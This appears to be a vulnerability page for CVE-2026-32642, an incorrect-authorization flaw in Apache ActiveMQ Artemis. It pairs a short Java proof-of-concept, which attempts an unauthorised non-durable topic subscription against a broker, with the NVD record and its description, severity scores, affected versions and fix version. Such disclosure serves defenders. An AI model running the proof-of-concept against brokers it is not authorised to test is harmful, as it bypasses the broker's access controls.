CVE-2026-32642

import org.apache.activemq.ActiveMQConnectionFactory; import javax.jms.*; // PoC for CVE-2026-32642 // Description: Attempts to create a non-durable subscription on a non-existent address // with insufficient permissions (createDurableQueue only). public class CVE202632642_PoC { public static void main(String[] args) { String brokerUrl = "tcp://localhost:61616"; String username = "user_with_createDurableQueue_only"; String password = "password"; String topicName = "nonexistent.topic.address"; try { ConnectionFactory connectionFactory = new ActiveMQConnectionFactory(brokerUrl); Connection connection = connectionFactory.createConnection(username, password); Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE); Topic topic = session.createTopic(topicName); // Attempt to create a non-durable subscriber // Vulnerability: Server creates a temporary address even if 'createAddress' is missing MessageConsumer consumer = session.createConsumer(topic); System.out.println("[+] Subscription request sent. Check if temporary address was created on server."); connection.close(); } catch (JMSException e) { e.printStackTrace(); } } }

{"cve": {"id": "CVE-2026-32642", "sourceIdentifier": "[email protected]", "published": "2026-03-24T08:16:01.430", "lastModified": "2026-03-30T14:24:59.710", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect Authorization (CWE-863) vulnerability in Apache Artemis, Apache ActiveMQ Artemis exists when an application using the OpenWire protocol attempts to create a non-durable JMS topic subscription on an address that doesn't exist with an authenticated user which has the \"createDurableQueue\" permission but does not have the \"createAddress\" permission and address auto-creation is disabled. In this circumstance, a temporary address will be created whereas the attempt to create the non-durable subscription should instead fail since the user is not authorized to create the corresponding address. When the OpenWire connection is closed the address is removed.\n\nThis issue affects Apache Artemis: from 2.50.0 through 2.52.0; Apache ActiveMQ Artemis: from 2.0.0 through 2.44.0.\n\nUsers are recommended to upgrade to version 2.53.0, which fixes the issue."}, {"lang": "es", "value": "Vulnerabilidad de Autorización Incorrecta (CWE-863) en Apache Artemis, Apache ActiveMQ Artemis existe cuando una aplicación que utiliza el protocolo OpenWire intenta crear una suscripción a un tema JMS no duradera en una dirección que no existe con un usuario autenticado que tiene el permiso 'createDurableQueue' pero no tiene el permiso 'createAddress' y la creación automática de direcciones está deshabilitada. En esta circunstancia, se creará una dirección temporal mientras que el intento de crear la suscripción no duradera debería fallar en su lugar ya que el usuario no está autorizado a crear la dirección correspondiente. Cuando la conexión OpenWire se cierra, la dirección se elimina.\n\nEste problema afecta a Apache Artemis: desde 2.50.0 hasta 2.52.0; Apache ActiveMQ Artemis: desde 2.0.0 hasta 2.44.0.\n\nSe recomienda a los usuarios actualizar a la versión 2.53.0, que corrige el problema."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.3, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:activemq_artemis:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.0.0", "versionEndIncluding": "2.44.0", "matchCriteriaId": "4462260B-0DB8-4148-B8AF-E5CCDEF8BC2D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:artemis:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.50.0", "versionEndExcluding": "2.53.0", "matchCriteriaId": "7D1E5DB1-E198-4351-9807-0E14D0A6138D"}]}]}], "references": [{"url": "https://lists.apache.org/thread/4wlrp31ngq2yb54sf4kjb3bl41t4xgtp", "source": "[email protected]", "tags": ["Mailing List", "Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/03/20/2", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ ... 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